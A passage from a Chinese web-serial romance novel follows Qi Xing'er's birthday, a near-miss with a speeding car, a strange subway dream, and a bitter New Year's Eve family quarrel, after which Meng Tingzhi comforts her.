白里透红,指尖处微微脱皮。
剥蟹的手没停,细白的长指描摹着手背上的经脉。
像青色瓷纹。
脆弱细滑。
祁星尔感受到面前人的目光,她撩起眼睑,四目相对。
呼吸凝滞,心跳如雷。
脸颊骤然发热,祁星尔甚至能感受到滚烫的温度。
壁上时钟,指针刚好指到八点整,外面早就黑了。
“嘭!”
落地窗外炸出一大朵烟花,五光十色,照着灯火凌乱的城市中心。
祁星尔如梦初醒,紧张地错开目光,收回手,像是刚才触碰到了烫人的东西。
“菜快凉了。吃饭吧。”
孟停之继续剥没有剥完的蟹。
糖醋排骨的汤汁侵蚀着味蕾,祁星尔思绪飘荡,意识和庄周打太极。
孟停之的那双眼睛,真是和梦里一般无二,刚才那一瞬,祁星尔分不清是在梦里,还是在现实中。
“其实。”祁星尔咽下排骨肉,孟停之停住手,盖上最后一块螃蟹壳子,形成完整的蟹壳身。
“我梦见过你。许多次。”
四目相对。
“哦。都梦见了什么,说说看。”男人略带笑意,声音微扬,不轻不重,清清白白,却在祁星尔心上撩了一下。
祁星尔脑子里最先飘出的,是让人面红耳赤,难以描述的画面。
至于其他的事,都是零零散散的片段,说出来更是没头没尾。
女孩的乌眸微微涣散,也不知在想什么,脸蛋忽然泛红。
祁星尔注视他几秒,抿唇:“算了,没什么有趣的,还是不说了。”
孟停之敛眸,压平唇角,笑而不语。
他吃相很矜持,和祁星尔完全不同。
祁星尔捞手大口啃排骨,孟停之细嚼慢咽,他眯起眼盯着祁星尔。
“你看我干嘛。”祁星尔蹙眉,嘴里包着饭。
话说出来那一刻,她马上闭紧嘴。
谷兰从小教育她,吃东西不能说话。
还好,饭没喷出来。
她在心里暗自庆幸。
孟停之戳了一下她塞满饭的脸包子。
有点弹性。
祁星尔快速咽下饭菜:“我知道我的脸摸起来很舒服,可是……”
“你刚才戳得有点重。”
祁星尔有点婴儿肥,小时候就有不少大人抱她时,喜欢揉她的脸,她很不喜欢。后来长大了,这种情况才减少。
但很奇怪,孟停之摸她脸,竟一点也不讨厌,甚至有点喜欢他指腹的温度。
祁星尔摩擦脸蛋。
饭后,孟停之插好蛋糕蜡烛。
六寸的蛋糕,点了六根蜡烛。
关灯,许愿。
室内突然陷入黑暗,祁星尔抓紧手,惊了一下。
“吹完蜡烛就开灯。”温柔又平静的声音在她耳边响起。
“嗯。”
孟停之为她戴好生日帽。
“大小要调整合适,不然丑死了。”
祁星尔拿着生日帽比划大小,忽视了刚才害怕黑暗的紧张。
“嗯。”孟停之倾身微微环住她的头,调整大小。
今天的气味和以往不同,干净的洗衣液清香。
祁星尔抬起眼皮,顶端的两颗衬衫扣子散开,露出半截锁骨。
目光抚过凸起的喉结。
小区门口那会儿穿的高领毛衣,什么时候换的衬衫?还是黑色的,不松不紧刚好扎进西装裤,修饰出优越的身形。
难道是要做饭,换件黑色的耐脏?可毛衣也是黑色的呀?
或许,毛衣贵,衬衫便宜。
孟停之垂眸,小姑娘目光直直地锁着他的喉结。
“你在想什么?”
“嗯?没想什么。”
他低头暗笑。
祁星尔皱眉疑惑。
烛火在二人脸庞间晃动。
“许愿吧。”孟停之的瞳孔中映着烛火,烛火里是祁星尔。
二人平视,室内仅剩烛光。
半分钟后。
“好了。呼——”烛火全灭。
“许的什么愿?”
“不能说,说出来就不灵了。”
寿星切下第一块蛋糕:“第一块给你,谢谢你在我生病时陪我,还帮我忙前忙后。”
“本来想请你吃饭,可你常去的地方我去不起……”
“那就去你常去的地方。既然想请我,就下一次。”
这脑回路,祁星尔没转过来。
“嗯,好。”心中卸下一块重物。
“生日快乐。”孟停之拿出一条项链,手工编织绳下,掉着五角硬币大小的陨石坠子。
蓝中泛银,银中泛蓝。
“好漂亮,谢谢。”
这一看就不便宜,她心里盘算着,下回要给孟停之送何种价位的礼物还回去。
好了,又要大出血。
“不用还礼,实在要还,就编个手绳或者织条围巾。”他一眼看穿她心中所想。
祁星尔苦笑:“你会读心术吗?”
“我生日三月十八,记住哦小星。”
小星。
好熟悉,没有人这样喊过她,梦里的孟停之也没有。这种熟悉感,告诉她有过,但她想不起是谁,又是在哪里。
——
孟停之开车送祁星尔回宿舍。
“今天,谢谢你。”
“都说了,和我不用客气。”
祁星尔抬手止声,摇头,示意他别说。
“谢谢你做了一大桌子饭菜请我吃饭。”螃蟹海参鲍鱼……食材都不便宜,祁星尔只吃过螃蟹,还是随父母吃席的时候。
“谢谢你给我过生日。”父母和她自己都忘了,竟还有人记得。
“谢谢你送我生日礼物。”从小到大,只在十八岁时收到过谷兰送的生日礼物,一件普通棉衣。
今天是第一次收到如此重视而又贵重的礼物。
“谢谢你……”
孟停之藏在阴影中的那只眼,眼眶湿红,一滴热泪落入眼窝。
“谢谢小姐,天冷了,快进去吧。别总道谢了,你的心意已经收到。”
孟停之拾级而上,放在身侧的手,摩擦犹豫,最终没有落向祁星尔肩膀。
“新的一岁,要平安、喜乐,百毒不侵、诸事顺遂,心想事成、百无禁忌……”他想把一切美好的祝福都送给她。
大约是天气冷,这会儿刚好飘起小雪,祁星尔鼻尖泛红,眸子水润。
她只看见他变化的唇形,仿佛进入失聪状态,没听轻后来的话语。
语末,“嗯,你也是。”
祁星尔走进宿舍几步,又倒回来,一阵小跑,孟停之竟还在原地目送着她。
“下雪了,开车小心,早点回去。”
“嗯……到家了,发微信。”
孟停之浅笑点头。
祁星尔转身,脚步轻快几分。
二十岁生日,她不是一个人过的,她过得很开心,二十年来最开心的一次。
祁星尔把手链收好,宝贝似的收起来,日常很少拿出来戴。
孟停之有时会拍一张风景图,分享当日的心情,祁星尔逐渐地也开始分享小小的日常。
比如校园猫学长趴在学生课本上睡觉,或者被学生盖了层树叶,又或者在雪地里走猫步留下一串小脚印。
手机里弹出一条语音信息,谷兰发的。
无事不登三宝殿,祁星尔点开。
“星尔,你奶奶生病了,你爸掏的钱,你三叔他们又不平摊,真是气死我了!”
祁星尔握着手机竟想不出如何回答。
放在以前,她还没上大学的时候,她会立刻跳起来,冲到父亲跟前质问他,为什么他又要管这么多事,为什么一个人要揽完所有事,分明我们的小家过得并不好,分明奶奶有三个孩子,一个女儿两个儿子,就因为祁邦成是长子?
祁家的事又小又乱,吃力不讨好,她不想管了,说到头来她一个小辈插手上一辈的事总归不好。
一颗星星:那你消消气。
她编辑了一段平淡而又朴实的一段话,读不出丝毫情绪。
谷兰忽略她这句话,又是一段三十多秒的长语音。
出于尊敬以及对这个家的关心,祁星尔还是耐心听完。
“这就算了,那天老太太生病住院,急诊室门口,老三居然抹眼泪跟你爸说他没钱,你爸就心软。你姑父更厉害咯,一副管事人样‘邦成出五千,我出三千,老三就算了’,这都什么年代了还搞嫡长子那一套……”
祁星尔心中冷笑,摇头。她爸要管,她没办法,说不了,毕竟为了帮那个家,生活费都不愿意给她。
后面谷兰又发来一条,不用听,必然是让祁星尔当个和事佬,在祁邦成跟前提一嘴她心中的不满。
一颗星星:妈,我上课了,不和你说了。
很久之前,祁星尔认为,谷兰和祁邦成是她的爸妈,不能让他们吃亏。
谷兰以前在祁星尔面前说过一句话,现在想来,她说得很对。她爸不是她的爸,是祁家的爸,说不了。如今她想的只有一件事,走出去,走出这个家,去更远的地方。
祁星尔翻开和导员的聊天记录。
她绩点高,成绩优秀,又拿过许多含金量高的奖,导员打算把去英国当交换生的其中一个名额给她,准备准备刚好大三一学年。
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学校补助一部分,她只需要出部分钱,再攒一点勉强够。
祁星尔开始畅想未来,想象她的美好人生,真好,一切都欣欣向荣,她的人生越来越亮。
孟停之察觉到祁星尔好几天聊天都不积极,问她怎么了,是不是有不开心的事,有的话可以告诉他,或许他能帮上忙。
一颗星星:没怎么,就是最近准备期末考试,可能有点累。
MTZ:再忙也要注意休息。
一颗星星:嗯。
过了几分钟。
MTZ:你们多久考完?
一颗星星:一月十六
MTZ:好好考。
一颗星星:嗯。
祁星尔不擅长和不熟悉的人如何交流,对于现在的孟停之,也是。
期末考试来得快去得也快,老师很仁慈,给的都是考点,加上他们专业,本身学得广而浅显,没有医学生繁杂,没有电学生的难,总体比较容易考高分。
考完祁星尔没有回去,她带的家教小孩,还没有期末考试,最近正帮他复习。
“祁老师你们这么快就考完了,真羡慕大学生。”小孩在上初一,脑子聪明但很贪玩,祁星尔主要给他复习基础知识,很是头痛。
一阵汽车锁门声在小别墅外响起。
小孩迅速扔下笔,跑下楼,扑入一个年轻男子怀里。
“哥我可想你了!”易柏然是易辰的堂哥,易柏然很少来他们家,今天是易辰母亲过生日就来了。
“小鬼你是想我的零食吧。”易柏然放下小男孩。
祁星尔下楼,正好与易柏然身后的男人对视。
“没想到祁小姐是辰辰的家教。”
祁星尔和易柏然点头示意,看向孟停之那一瞬间,心漏跳一拍。
祁星尔结束后想要离开,易辰母亲却看小姑娘一个人,回寝室也是孤零零一个人,就让她留下来一起。
祁星尔硬着头皮留下。饭菜很好吃,周围的人都不认识,她埋头默默吃饭。
吃完饭祁星尔待主人家收拾好,她提包离开,易辰母亲还想多留她一会儿,祁星尔借口宿舍关门早,易母也没再多留。
房子临近郊区,出小区后还要走二十分钟才能到公交站台。
九点的青屹山灯火依旧,尤其近几年政府开发,山上大型商场□□也有不少。
街道上豪车随意停放,不见一张交警罚单。
走出商业区静谧不少,没有开门的店铺,路灯打下的白光,能清楚看见空气中漂浮的灰尘。
祁星尔消食慢走,心中计划明天做什么,没注意后方来车。
银色奥迪和她擦肩而过,祁星尔重心不稳,随车带起的风旋身转过,一个不留神摔倒在地。
“你怎么开的车?!”
奥迪忽然掉头离开,驾驶座上的黑衣人压了压帽檐,眼神阴冷,目光死锁住祁星尔。
祁星尔长呼一口气,惊险有余,她爬起来弹掉身上的灰。
刚才那辆车和她仅有一指宽,如果不是迎面开来的林肯SUV,这会儿她该叫救护车了。
孟停之从车上下来,握住她肩膀原地绕了一圈,手有轻微擦伤。
“没事吧?”
奥迪将要撞向祁星尔时,千米外的林肯高速驶来逼停奥迪,四周的车不多,奥迪车才有掉头的机会,否则当场车祸。
男人满脸紧张,脸色煞白。
真是少有的失态。
“……没事”
孟停之将她紧紧抱进怀里。
不怕死是假的,祁星尔还心有余悸。
“你也不用……这么紧张。”祁星尔一时手足无措,清冽的松香袭来,方才的恐慌烟消云散。
缓了半分钟,再确认怀里的人确实还在后,孟停之才松开人。
“以后走路要专心,有事第一时间给我打电话,晚上下班也给我打电话,我来接你,无论何时,一定要安全,生命第一,不要……”
“停停停!”
不要再忽然消失了,孟停之还惊魂未定。
“谢谢你,不过真的不用……这样,随叫随到。”少女的脸烧红起来。
“一直都是,随时待命。”孟停之严肃地看着她,又像个虔诚的信徒。
祁星尔不自在,错开炽热的视线,用脚尖来回刮着水泥地。
“咳咳。”
“你怎么在这儿?”她看了眼手机,“才九点半,离生日会结束还很早,怎么这么早就出来了?”
“出门前忘记倒狗粮,回去喂狗。”
“哦~那也是,人要天天吃饭,小狗也要。”
“你什么时候买了狗?”她记得孟停之很爱干净,工作忙事情多,还有时间喂狗?
“前段时间买的。我送你回去吧,这边不好打车,至于公交车……”孟停之抬手看手表,“两个小时前就停了。”
“没有夜班车?”市区夜班车十点才收车。
“没有。”
隐在暗处的奥迪,在祁星尔和孟停之离开不久后,才发动引擎离开。
10. 10
上一次搭车还是过生日的时候,已经很久不联系了,再次见面她又不知道说什么。
青屹山到学校有半个小时路程,十分钟后孟停之开口:“上次说请我吃饭,我可等了好久呢。所以打算什么时候请我?”
他不说,祁星尔都忘了这茬。最近一直忙期末作业,大论文小论文,项目PPT汇报,一到期末全涌上来。
“害,我正想说这事,这段时间忙期末,忙忘了。不如就明天中午?”
孟停之抿唇含笑:“好。”
“就明天,听小星的。”
小星。
带波浪号的一声,不肉麻,也没有被他占便宜的感觉。
祁星尔的心漏跳一瞬。
自从认识孟停之后,她的心跳时常加快。
她悄悄看了眼开车的男人,不行不行,不能被美色所惑。
祁星尔收回目光后,孟停之眼眸微眯暗笑。
……
孟停之到家后,扯开衣领,松下领带,又去洗了个澡,一切都收拾好后才给电子狗充上电。
——
祁星尔选的是一家川菜馆,价格便宜实惠,老板手艺一绝,正宗川菜味。
“又来了。好久没见着你咯。”一进门,老板娘热情招呼,一口川普。
“诶,刘姐。最近生意不错啊。”
祁星尔找了里面靠里的位置,用餐巾纸把桌面擦得干干净净,没有一点乌黑油垢。
“坐吧。”
孟停之才坐下。
祁星尔他们学院考得早放得也早,其他院的基本都还没放,中午的时间段来吃饭的学生,照样很多。
老板娘拿来菜单:“呦,小祁,谈男朋友了哈?”
“您说笑嘞,每天忙成狗,哪有时间想这些。这我朋友。”
老板娘笑眯眯的,一副过来人模样。
“看看有什么喜欢的。”
孟停之接过菜单,很快勾了几样,祁星尔没注意,自顾自勾选。
“还说不是,连口味都这么了解你。”
祁星尔拿过菜单一看,还真是,选的每一道菜都是她经常吃的。
或许凑巧口味相同?
“真的不是。刘姐。”
“好好好,不是。”
孟停之起身去找老板接热水烫碗筷。
“小伙子细心嘞,周到,长得也俊。找到小祁做女朋友,你有福气。”
男人压了压唇角,眼神晦暗,默了一瞬:“不是。”
老板娘疑惑。
“她还不是我女朋友。”男人抬眸,笑容明亮,“还在追。”
追了很多年了,也想了很多年。
老板娘故作神秘,低头凑过来:“那你可要加把劲,前两天还有学生朝我打听她,小祁追求者多得很哦。”
“这不,刚才还有一个。”
孟停之顺着老板娘指的方向望过去,那人一身黑,戴了帽子和口罩,看不清脸。
此时正好起身离开,徒留一个背影。
孟停之思索一瞬,转身追出去,却是不见人影。
刚才那个人的打扮,和在青屹山差点撞到祁星尔的人一样。
“怎么了?”祁星尔在杯子里烫碗筷。
孟停之伸出手来接,祁星尔倒也顺手递过去。
“没什么。”
“最近可有什么不对劲的地方?”男人优雅地擦干碗中的水,“生活上,各个方面。比如有没有人跟踪你,或者打听你的消息?”
“跟踪我干嘛?没什么事干?来打听我的消息——闲得慌。”祁星尔喝了口老板娘倒好的决明子水。
“最近没有夜班?”孟停之眼中,升起一股令祁星尔莫名的担忧。
“没,只有易辰的课在晚上。”
当天晚上回去,祁星尔就被通知,课全部调在白天。
自川菜馆以后,每天每隔三个小时,孟停之都会给她发消息,没及时回就会立马打电话过来。
“孟先生,你很闲吗?不需要工作吗?我很安全,真的。”
孟停之不听,照旧发消息“查岗”,时不时打电话问候。祁星尔倒也没生气,有人在乎她的安全是好事,心中生出一股奇异的暖流。
——
易辰考完期末,祁星尔才算大功告成。
近一个月许多大学放假,从大学城到高铁站的路段,几乎每天都在堵车。提前两个小时出发,好在在地铁上有位置坐。
早上七点的地铁挤满了上班族,她这个扛了大包小包的大学生,反而最瞩目。
车厢灯光忽然闪烁,时明时暗,祁星尔睁开眼,车厢空荡,只有她一个人。
怎么回事,人呢?
她的行李也不见了。
地铁似行进又好似停在原地,就像她现在,意识清醒,好似在梦里,又好似在现实。
昨晚收拾东西太累了,她想,她或许陷入了梦魇。
清醒时做梦,大脑有时会自动上一把“枷锁”,将主体意识困住,潜意识里又会暗示主体,打开这把“锁”,才能逃离梦魇,醒过来。
祁星尔就在潜意识里给自己上了一把“锁”,她思索着找到车上其他人,或许就能“醒”过来。
灯光稳定照亮,不再闪烁。
祁星尔来回奔跑,想要找到其他人,空荡的车厢内,终于不知在哪一节车厢,看到除她之外的另一个人。
一个白发苍苍的老奶奶,在空地铁里摆地摊,像正常小贩一样呵卖。
很眼熟,想不起来在哪里见过。
“卖挂饰咯,纯手织,两元一个。”
人在梦境里看到的样貌,大多在现实中遇见过,有时候大脑会根据主体的喜恶,对样貌进行加工。
祁星尔想起来了,是在洛河市遇到的老奶奶。
老人手里端着一次性白餐盒,一口吃生煎,地上还有一杯热气腾腾的豆浆。
豆浆配生煎,绝配。
祁星尔早上没吃饭,“咕~”
都在做梦了,就厚着脸皮蹭点吃的吧。
老人明显听见她的肚子叫,呵卖声停止,转过头迎上祁星尔的目光,笑容和蔼。
她朝祁星尔招手:“小姑娘饿了?”
祁星尔也不掩饰,尴尬点头:“嗯。”
老奶奶一身破旧衣服,看得出来卖这些小玩意,并不赚钱。
“想吃生煎?就不给你。”
祁星尔脸红,被人看出的窘迫。
“不过呢,这里有杯热豆浆,上个人留下来的,说不定你会喜欢。”
祁星尔接过尝了一口,纯正豆浆味,小时候喝的味道。
她看了一眼包装瓶:“还挺好喝。”
豆浆瓶上写着几个字——老李豆浆,松海市朝安区延州路46号。
“松海市?这梦做得竟这样具体,连地名都有。”
再一看生产日期:2021年12月28日,保质期:两天。
还真是……陈年老豆浆。
祁星尔面容痛苦,真想一口吐出来。
“老人家,您不带这样坑人的。”想找个垃圾桶,周围愣是一个也没有,只得将豆浆放地上。
老人抬眼:“粒粒皆辛苦,浪费人家好意。”
虽说过期这么久,味道却是一点没变,就和早上刚买的一样,甚至比粉精兑出来的好喝。
她又喝了一口:“那您喝?”
“都喝过了,我不要。”老人埋头整理摊位上的小饰品,不耐烦地挥手,示意她拿开。
豆浆杯还挺热乎,祁星尔握着暖手:“哦,对了。”手伸到老人眼前。
“我那天看见有一个人,和我戴一样的戒指。不过他的那枚是蓝水晶,我是紫水晶。”
老人满不在意,自顾自整理:“哦,那还真是有缘,一共就两枚。”
语气平静,一点也不惊讶。
老人整理好后,祁星尔的豆浆也见底。
“马上过年了,拿些送礼的红包回去。”
老人塞给她一沓红包,约有二十个。
“这怎么行,不能白拿您的。”红包古朴简约又大气,市面上少有的款式,上面的每一句祝福语都不同。
“什么白拿。生煎包好吃,就算你付的钱。”
“诶,不行……”祁星尔话没说完,意识就清醒过来,周围一切恢复正常。
手上什么也没有,果然是梦。
回家后的当夜,祁邦成拿着快递回来。
祁星尔拆开,是一堆红包,和梦里的一样。
“爸,你红包在哪里买的?”
祁邦成换鞋的动作停下:“手机上。前天刷视频突然弹出一个广告,限时抢购,才一分钱。”中年男子一脸得意。
他抽了其中一个红包摸了摸:“本来想就一分钱,试一试而已,没想到还不错,比商店里的好看。”
新岁丝竹,辞旧迎新。
祁星尔奶奶的身体本就没有大问题,那天进急诊室,不过是肠胃不好,东西吃坏了窜肚子。
兼职这段时间,谷兰明里暗里,和祁星尔唠叨好多次。
“我给你说你听进去了没,记得和你爸说一下。”
祁星尔左耳朵进右耳朵出,装听不见:“嗯,听了,我去上班了。”
回来没几天就是南方
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的小年,祁星尔在网上进了一批小玩意儿,打算在过年期间摆地摊,赚点外快。
祁家有个规矩,年三十年夜饭要在父母家吃,老两口跟着祁邦成,自然就在祁邦成的老家。
谷兰今年上夜班,不能回来做年夜饭,祁邦成做得不好吃,又成了祁星尔主厨,祁邦成打下手。
饭做好了基本都盛放在大餐桌上,另外两家人才来。
“哟,今年又是星星做饭啊。”大姑挪动着自身庞大的肉球,从车上下来不过几步路,已然气喘吁吁。
她不能合拢的手指,捻起果盘里的切段甘蔗,咬了一口,几十秒后,歪脖子,随口将甘蔗渣吐在地上。
那是祁邦成上午买的,还没人吃过,甚至没有拆开。
祁邦成接谷兰回来刚好晚上九点。
“你们家这一两年,年夜饭吃得也太晚了。你妈以后过年再这个点回来,我们就不来了。”姑父打哈哈道。
祁星尔看了他一眼,平静道:“过年吃饭要团团圆圆,这是他们公司的规矩,我们也没法。”
“你们不来,我还多吃几口。”祁星尔自顾自倒豆奶。
谷兰笑脸相迎,笑眯眯地和众人说抱歉。
吃饭分两桌,以前是小孩一桌大人一桌,小辈们都长大了,也就没再分桌。由于上一辈的事,祁星尔和三叔家的孩子并不算亲,甚至闹矛盾,对于两姐弟她也喜欢不起来。
上桌就埋头干饭,一边吃一边称赞自己的手艺有多好。
谷兰总是毫不吝啬赞许女儿,说她懂事,能干,饭做得好吃。
堂弟上桌就肆无忌惮地挑菜,抿了口水的筷子,在一盘菜里翻来翻去,选自己喜欢的。
甜皮鸭祁星尔很喜欢吃,年轻人和小孩们都喜欢吃,那是她跑了好几条街,才抢到的最后一只,一百一小只纠结好久才买。
甜皮鸭菜只有一盘,就在祁星尔侄儿跟前。小孩子好吃只吃那一个菜,其他人都只能吃他剩下的。
祁星尔夹不到起身去夹,刚好和小侄儿夹到同一块。
“这是我先碰到的。”小孩子瞪着她,一副理所当然的样子。
姑母的女儿,侄儿的母亲先发话:“干什么,要尊重长辈,给你表姨。”
小孩子一脸委屈。
另一个堂姐说了一句:“真是的,这么大人了,还和小孩子抢吃的。”
祁星尔抬眸冷冷看了她一眼,堂姐被吓到,缩了缩脖子:“我说的是实话。”
祁星尔温柔地对小侄儿笑:“乖乖,表姨知道你喜欢,是给你夹呀。”随后将原本准备夹入自己碗里的那块,夹给小侄儿。
表姐一脸难为情,哄着小孩给表姨道谢。
祁星尔姑母忽然想起什么,放下手中的骨头,吮掉手指上的油,起身给老太太夹菜,装模作样。
“妈,尝一下这个甜皮鸭。很好吃,最后一个鸭腿了。”
小侄儿眼巴巴看着最后一个鸭腿离自己远去。
老太太接过,转手放到祁星尔碗里:“你快吃,这个好吃。”
祁星尔接过冲小侄儿比了个鬼脸。
爷爷和奶奶一个劲的给祁星尔夹菜,肉最多,虽然很多肥肉,但都是他们觉得一盘菜里最好的。
“今天星尔辛苦了,多吃点。”
“爷爷你多吃点,别总给我夹,我平常吃得多。”老两口不会做好吃的饭菜,老太太炒菜盐使得多,来来回回只会那几样。
祁星尔爷爷牙不好,老太太牙好,老太太炒菜做饭时软时硬,但大多数时候老太爷是咬不动的。老太太只顾自己吃得香,故而爷爷瘦骨嶙峋,奶奶满脸圆润。
三家人吃饭总避不开家常闲谈,边吃边聊,从今年收入聊到孩子教育,又不知是谁开了句,扯到赡养老两口的问题。
谷兰霹雳吧啦说了一堆,言外之意是另外两家不管事,你一句我一句,对面两家理亏也要扯歪理,长辈小辈除了侄儿和祁星尔都加入战斗。
三叔瞥到专心干饭的祁星尔:“星尔读大学了,也在上班吧?我看好多大学生都兼职,你也能管你自己的开销。你们家负担最小,不像我,还要供你堂弟……”
“你总说我们没管,我每个月也给生活费好不。”
“爸妈有钱,谁知道会不会留给我们一份……”
听他们吵了这么久,早就听烦了。
祁星尔喝完豆奶,把杯子重放在桌子上。
“砰!”
争吵的餐厅忽然安静下来。
祁星尔闭眼,深呼吸,睁开眼,冷漠的目光扫向众人。
“你们两家说这些话,也好意思?知道脸厚两字怎么写不?”
11. 11
祁星尔质问他们为何好意思收老人的们的钱。老人家的钱本就没有多少,她找出存折,放在他们面前让他们看,存折上一切收支都有明显记录。
只有收入没有支出。
另两家人说不出话。“姑母,我尊称你一声姑母,那是爷爷奶奶还在,是看在他们面子上。还说你们拿生活费,要不是我爸妈前两年闹过一次,你们会拿吗?”
“去年爷爷在家里摔下来,你还专门打电话,让我们家跑一趟送医院。姑父天天打牌,怎么,钱输多了,傻掉了?连岳父死活都不顾了。”祁星尔姑母家离老两口家很近,开车五分钟,而祁邦成三口的家要开半小时才到。
一行人都哑口无言,面红耳赤。
祁老三语无伦次地辩解,昧着良心说自己有良心。
祁星尔看猴似的看着他们。
“你真的有良心?你这些年做的那些事,你不记得了?”
乡村里面,一家骂架,不说一个村,至少周围五六户人家都知道。祁家人吃年夜饭,喜欢敞开大门,隔壁搓麻将的声音停了,不少人到祁家院子里来凑热闹。
祁老三面红耳赤,白眼眶急冒血丝。
堂弟看不下去,跳出来:“你怎么对我爸说话呢!他是你三叔,祁星尔!”
“呦,那你怎么对你姐说话呢,祁浩。”
姑父母装老好人,来劝架。谷兰在一旁嗑瓜子,祁邦成止住祁星尔让她别说。
“你三叔没你爸会赚钱,我们家条件你也知道。”三叔家赚得不算少,可从不管老人死活,一到平医药费就装可怜装穷,实则日子过得最滋润,直到谷兰怂恿祁邦成闹了一回,才开始抠抠搜搜给老两口拿生活费。
大约真是老天爷看不下去,两年前,祁家老三被人骗去做网贷,利滚利,家底全骗光,连带着几个好友都被坑,还欠了一屁股债,要不是祁邦成帮他还,他早就缺胳膊少腿。但这件事祁老三没有告诉孩子和妻子。
三叔家的两姐弟持续输出,口水都喷向祁星尔。
有些人改变不了自己的思想,就像狗改不了吃屎。思想有问题的人,一直都不会觉得自己思想有问题,始终认为自己是对的,他能意识到自身问题,那他也就不会是个思想有问题的人。
祁星尔忍无可忍,直接表示,有许多事祁浩他不知道,但考虑着三叔母一直对她不错,祁星尔不想让她伤心,只是出言威胁。
“你知道为什么,你们家这两年过得这么紧张吗?”
三叔很快反应过来,对祁星尔露出惊慌的眼神,一个劲的眨眼睛求她不要说。
祁邦成递了一记眼刀,祁星尔压根没看他。
事情要脱口而出时,被祁邦掐住手臂,捂住嘴巴,往屋里拖去,要她不准说。
“你想干什么?翅膀硬了?想把这个家拆了?”祁邦成瞪着她,眼眶欲裂。
他已经很多年不再露出这样的眼神了。
陌生,冷漠,像要把人一口吃掉。
祁星尔抖了一下,不再似外面那样昂势,垂眸低头,就像受委屈的小猫。
大脑空白,呆滞了。
儿时的记忆被唤醒,是对父亲与生俱来的恐惧。
祁邦成很快捕捉到这一细微变化,顿时气势大涨。
祁邦成反手关上门,勒令她不准出去。出门后他嘻哈打笑地和另外两家道歉,什么小孩子不懂事不要介意,待会儿回去会教训她,又吆喝着一起喝酒,仿佛刚才的事没发生。
外面的气氛暖和起来,又是一片其乐融融。
杂物房里视线暗,老两口不方便就没有打扫,祁星尔一家三口都忙,更没有时间,只是草草打扫了需要使用的区域,故而杂物间一股发霉味。
祁星尔蹲在地上发呆数蚂蚁,强迫自己不去想那些事。
窗角的蜘蛛网粘住好几只小虫,奶奶散养的狸花猫,一年倒头不见影,这会儿窝在旧木柜下吃香肠。
小猫头顶落了几片碎木屑,祁星尔想拿下来,狸花猫抬起小猫眼瞥见,一口吞完余下的香肠,飞快翻窗跑掉。她竟也跟着翻窗出去。
一片乌漆嘛黑。
后院和邻居家的养殖院子相连,铁围栏里,大鹅嘎嘎叫,卧在泥土地上的土白狗,看见黑夜中闪过的人影,爬起来“汪汪”狗吠,恰这时有一家鞭炮声,大白狗子吠叫更兴奋了。
每一户人家都灯火明亮,喜气洋洋,热热闹闹。
“喵~”“咪咪”
找到大路上还是没找到,祁星尔不打算找了,夜寒风凉,今晚的夜色格外美。祁家人早就吃完了,她不想回去,在大路上随意溜达。
最近的路灯坏了,公路和田埂都漆黑一片,就像她此刻的心情。
石墩子又冰又凉,她索性蹲在地上,蹲麻了准备起来,头晕目眩之时手肘被接住。
祁星尔站稳后抬头,恰这时,坏了许久的路灯亮了。
“小星,新年快乐。”
祁星尔扑进孟停之怀里,粉白的唇颤颤发抖,干了许久的眼眶乍然湿润。
孟停之胸腔怔了一下,下意识弯腰,脖颈处传来一阵湿热。
他抬手轻抚少女的后背:“想哭的话就哭吧。”
不等他把话说完,雷鸣般的哭声已经炸开。
祁星尔不记得自己哭了多久,只知道后来大脑缺氧,堵在胸口许久的气都消散了,才好一点。
孟停之一直在轻顺着她的背,静静听着。
鼻涕糊了孟停之衣领口一大片。
“抱歉,又把你衣服弄脏了。”祁星尔吸着鼻子,眼睛湿红,鼻尖也发红。
“没关系,好洗。”孟停之擦掉她脸上的泪水,目光似春日融雪,落入祁星尔眼中。
少女发现自己紧紧抱着男人,一时像碰到烫手山芋般躲开,睫毛频繁扑闪。
“我……我刚才不是故意的。只是……”
“只是什么?”男人眼神意味深长。
“只是刚好你在这儿。”祁星尔整理衣角,东张西望,心脏砰砰跳,似乎马上要跳出来。
“哦,那是别的人你也会抱咯。”
祁星尔心虚,眼睛四处乱瞟:“那、那当然。”
“男的也是?”
“当然。”祁星尔反应过来他的话,下一秒谄媚地笑:“当然不是。”
“哦,那就是只抱我了。”
“什么叫只抱你。我那是、情不自禁,不是的,我不是那么随便的……”
看似手舞足蹈,实则手忙脚乱。
孟停之压了压唇角,低眉含笑:“好了不逗你了,我懂。”
“你懂什么?不是……”祁星尔错愕,解释不清,挥挥手,“算了,懒得解释,随你怎么想。”
天冷了不少,孟停之刚搬了新家,邀请祁星尔过去参观。
“你家?在这儿?你没有家人不回家么?”总不会孟停之和她是老乡吧。
男人眸子暗淡下来:“我孤身一人,没有家。”
祁星尔:“你是孤儿?不好意思,刚才……抱歉。”
“那你以往每年过年,都是一个人?”
“嗯。过年就那样,找个地方度几天假,年过完了就回来。”
祁星尔一时泛起怜悯,轻轻抱了抱男人:“没关系啦,今年我陪你。”
……
孟停之找到祁星尔老家,提前就买好了,为的就是和她一起过年。
还没到,隔壁一户烤火的大婶热情打招呼。
“小孟回来了。”
孟停之微笑点头。
进屋后,孟停之给她倒了一杯果汁。
“你怎么一路都不问我为什么哭。”
“这件事想必让你很难受,我如果在你哭的时候问,岂不是让你更伤心了?你想说的时候自然会告诉我。”
孟停之正眼注视祁星尔:“所以,到底是什么事让小星这样委屈?”
“其实……也不是什么大事。”少女低头,玻璃杯里的鲜榨果汁,映着灯光,瞳孔之中波光粼粼。
祁星尔把事情一五一十告诉孟停之。
“他
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们说我目无尊长,是不是真的有点过了?”
“你觉得呢?”男人垂眸注视着她,“你尊重他们,他们就不会得寸进尺了么?”
祁星尔抬起忽然明亮的眸子:“会。”
“对于一些蹬鼻子上脸的人,没必要给脸。你做的,没有错。”
孟停之握住祁星尔肩膀,扳正身对着他:“况且,一切让你伤心的事都是大事,明白吗?都可以告诉我。”
少女的的眸子怔了怔。
祁星尔家中所有事,孟停之一直都清楚。
“不过我自己能解决,我只是想和你倾诉一下。”
“我当然知道,这点事情,这些人,又怎么会真的欺负了你去。小星很厉害,孟停停只负责加油打气。”
祁星尔“噗”得笑出声,不禁弯腰贴膝,起身还不忘拍手。
“孟婷婷,谁给你取的这个外号。”
“你啊……”近乎是脱口而出。
祁星尔:“我?我怎么不记得了。”
时间在这一刻暂停,所有的一切都被定格,除了孟停之。
祁星尔成了一个木头人,一动不动,周遭的一切都被定格。
上一次也是这样,一旦孟停之想要和祁星尔说,十一年前发生的事,时间都会被暂停。
半分钟后,时间恢复。
“你刚才说什么?”
“嗷,没什么。以后无论什么事,都可以告诉我,向我倾诉。”
